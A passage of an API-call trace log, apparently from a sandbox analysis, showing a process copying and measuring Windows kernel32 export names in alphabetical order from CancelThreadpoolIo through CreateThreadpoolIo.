returned="CancelThreadpoolIo" [0106.689] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0106.689] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0106.689] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0106.689] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0106.689] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0106.689] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0106.689] lstrlenA (lpString="CHECKELEVATION") returned 14 [0106.689] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0106.689] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0106.690] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0106.690] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0106.690] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0106.690] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0106.690] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0106.690] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0106.690] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0106.690] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0106.690] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0106.690] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0106.690] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0106.690] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0106.690] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0106.690] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0106.690] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0106.691] lstrlenA (lpString="CLOSESTATE") returned 10 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0106.691] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0106.691] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0106.691] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0106.691] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0106.691] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0106.691] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0106.691] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0106.691] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0106.691] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0106.691] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0106.691] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0106.691] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0106.691] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0106.691] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0106.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0106.692] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0106.692] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0106.692] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0106.692] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0106.692] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0106.692] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0106.692] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0106.692] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0106.692] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0106.692] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0106.692] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0106.692] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0106.692] lstrlenA (lpString="COPYCONTEXT") returned 11 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0106.692] lstrlenA (lpString="COPYFILE2") returned 9 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0106.692] lstrlenA (lpString="COPYFILEA") returned 9 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0106.692] lstrlenA (lpString="COPYFILEEXA") returned 11 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0106.692] lstrlenA (lpString="COPYFILEEXW") returned 11 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0106.692] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0106.692] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0106.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0106.693] lstrlenA (lpString="COPYFILEW") returned 9 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0106.693] lstrlenA (lpString="COPYLZFILE") returned 10 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0106.693] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0106.693] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0106.693] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0106.693] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0106.693] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0106.693] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0106.693] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0106.693] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0106.693] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0106.693] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0106.693] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0106.693] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0106.693] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0106.693] lstrlenA (lpString="CREATEEVENTA") returned 12 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0106.693] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0106.693] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0106.693] lstrlenA (lpString="CREATEEVENTW") returned 12 [0106.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0106.694] lstrlenA (lpString="CREATEFIBER") returned 11 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0106.694] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0106.694] lstrlenA (lpString="CREATEFILE2") returned 11 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0106.694] lstrlenA (lpString="CREATEFILEA") returned 11 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0106.694] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0106.694] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0106.694] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0106.694] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0106.694] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0106.694] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0106.694] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0106.694] lstrlenA (lpString="CREATEFILEW") returned 11 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0106.694] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0106.694] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0106.694] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0106.694] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0106.694] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0106.694] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0106.694] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0106.694] lstrlenA (lpString="CREATEJOBSET") returned 12 [0106.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0106.695] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0106.695] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0106.695] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0106.695] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0106.695] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0106.695] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0106.695] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0106.695] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0106.695] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0106.695] lstrlenA (lpString="CREATEPIPE") returned 10 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0106.695] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0106.695] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0106.695] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0106.695] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0106.695] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0106.695] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0106.695] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0106.695] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0106.695] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0106.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0106.695] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0106.696] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0106.696] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0106.696] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0106.696] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0106.696] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0106.696] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0106.696] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0106.696] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0106.696] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0106.696] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0106.696] lstrlenA (lpString="CREATETHREAD") returned 12 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0106.696] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0106.696] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0106.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0106.696] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0106.696] lstrcpyA (in: 